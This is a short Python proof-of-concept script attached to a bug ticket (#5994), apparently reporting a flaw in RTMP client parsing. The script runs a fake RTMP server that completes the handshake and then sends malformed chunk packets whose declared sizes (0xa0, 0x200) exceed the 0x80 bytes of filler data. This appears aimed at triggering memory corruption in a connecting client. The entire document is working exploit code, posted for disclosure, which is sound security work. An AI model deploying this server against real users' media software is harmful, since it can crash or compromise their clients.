Ticket #5994: rtmp_poc.py

#!/usr/bin/python

import socket
import os
import struct
import time

bind_ip = '0.0.0.0'
bind_port = 12345


def create_payload(size, data, channel_id):
    payload = ''
    payload += chr((1 << 6) + channel_id) # (hdr << 6) & channel_id; hdr = RTMP_EIGHT
    payload += '\0\0\0' # ts_field
    payload += p24(size) # size
    payload += chr(0x00) # type

    payload += data # data
    return payload


def p24(data):
    packed_data = struct.pack(">I", data)[1:]
    assert(len(packed_data) == 3)
    return packed_data


def handle_request(client_socket):
    # performing rtmp handshake
    v = client_socket.recv(1)
    client_socket.send(chr(3))

    payload = ''
    payload += '\x00' * 4
    payload += '\x00' * 4
    payload += os.urandom(1536 - 8)
    client_socket.send(payload)
    client_socket.send(payload)

    client_socket.recv(0x600)
    client_socket.recv(0x600)

    payload = create_payload(0xa0, 'A' * 0x80, 10)
    client_socket.send(payload)
    payload = create_payload(0x200, 'B' * 0x80, 10)
    client_socket.send(payload)
    time.sleep(1)

    client_socket.close()


if __name__ == '__main__':
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.bind((bind_ip, bind_port))
    s.listen(5)

    client_socket, addr = s.accept()
    handle_request(client_socket)